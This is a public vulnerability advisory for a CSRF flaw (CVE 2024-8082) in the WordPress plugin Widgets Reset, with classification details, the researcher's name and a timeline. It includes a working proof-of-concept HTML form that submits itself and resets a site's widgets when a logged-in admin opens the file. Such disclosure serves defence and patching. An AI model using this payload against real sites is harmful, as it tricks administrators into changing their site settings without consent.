Widgets Reset <= 0.1 – Settings Update via CSRF | CVE 2024-8082 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

Make an admin open an HTML file containing:

```
<form action="https://example.com/wp-admin/themes.php?page=widgets-reset-settings.php" method="POST">
    <input type="text" name="Submit" value="Reset All Widgets">
    <input type="text" name="reset_widgets" value="Y">
</form>
<script>
    document.forms[0].submit();
</script>
```

Affects Plugins

No known fix

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website

https://magos-securitas.com/

Verified

Yes

WPVDB ID

47b2cd60-9ac4-49cf-8ca9-7d90656fc397

Timeline

Publicly Published

2024-07-11 (about 1 year ago)

Added

2024-09-04 (about 1 year ago)

Last Updated

2024-09-04 (about 1 year ago)

Other

Published

Title

Published

2022-05-30

Title

Inline Google Maps <= 5.11 - Arbitrary Settings Update to Stored XSS via CSRF

Published

2025-04-24

Title

Unsafe Mimetypes <= 0.1.4 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2023-11-02

Title

video carousel slider with lightbox 1.0 - Cross-Site Request Forgery

Published

2017-08-08

Title

Loginizer <= 1.3.5 - Cross-Site Request Forgery (CSRF)

Published

2024-01-03

Title

WordPress Users <= 1.4 - Settings Update via CSRF